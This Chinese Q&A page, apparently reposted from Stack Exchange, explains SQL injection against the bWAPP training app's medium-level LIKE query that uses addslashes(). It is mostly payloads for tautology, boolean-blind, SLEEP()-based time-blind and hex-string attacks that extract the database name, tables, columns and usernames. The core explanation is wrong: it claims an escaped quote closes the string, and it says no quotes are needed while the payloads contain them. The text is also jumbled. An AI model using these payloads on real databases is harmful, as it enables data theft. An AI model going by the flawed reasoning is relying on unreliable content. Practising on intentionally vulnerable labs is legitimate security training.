如何在bWAPP中等难度LIKE子句场景下绕过addslashes()实现SQL注入?
bWAPP中等难度SQL注入(addslashes+LIKE场景)实现方法
1. 验证注入存在
构造如下输入作为title参数的值:
' OR 1=1--
经过addslashes()处理后,单引号被转义为\',最终执行的SQL语句为:
SELECT * FROM movies WHERE title LIKE '%\' OR 1=1-- %';
其中--是SQL注释符,会注释掉后续的%',实际生效的条件是title LIKE '%\' OR 1=1。由于1=1恒成立,会返回所有电影记录,以此验证注入点存在。
2. 布尔盲注获取数据
利用MySQL的CHAR()函数(通过ASCII码构造字符串,无需引号)结合LIKE或=运算符,通过返回结果的数量变化判断条件是否成立,逐步猜解数据:
猜解当前数据库名:
输入:' OR database() LIKE CONCAT(CHAR(98), '%')--若返回所有记录,说明数据库名以
b开头(bWAPP的数据库名为bWAPP)。继续拼接ASCII码字符细化猜解,比如:' OR database() LIKE CONCAT(CHAR(98), CHAR(119), '%')--猜解表名:
假设已确认数据库为bWAPP,猜解是否存在users表:' OR EXISTS(SELECT * FROM bWAPP.users)--若返回所有记录,说明
users表存在。猜解列名:
针对users表猜解是否存在username列:' OR EXISTS(SELECT username FROM bWAPP.users)--猜解数据内容:
猜解第一条username是否为admin(ASCII码:97,100,109,105,110):' OR (SELECT username FROM bWAPP.users LIMIT 0,1) = CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))--
3. 时间盲注获取数据
如果布尔盲注无法通过返回结果判断(比如页面无论条件真假都返回相同内容),可以利用时间延迟函数SLEEP(),通过响应时间判断条件是否成立:
- 判断数据库名是否以
b开头:
若页面响应延迟约5秒,说明条件成立。' OR IF(database() LIKE CONCAT(CHAR(98), '%'), SLEEP(5), 0)--
4. 十六进制字符串利用(无需引号)
MySQL中支持0x开头的十六进制字符串,无需引号即可使用,可替代CHAR()函数:
- 判断数据库名是否为
bWAPP(十六进制为0x6277617070):
若返回所有记录,说明数据库名正确。' OR database() = 0x6277617070--
内容的提问来源于stack exchange,提问作者Abdul Saqib
相关产品推荐
相关产品推荐

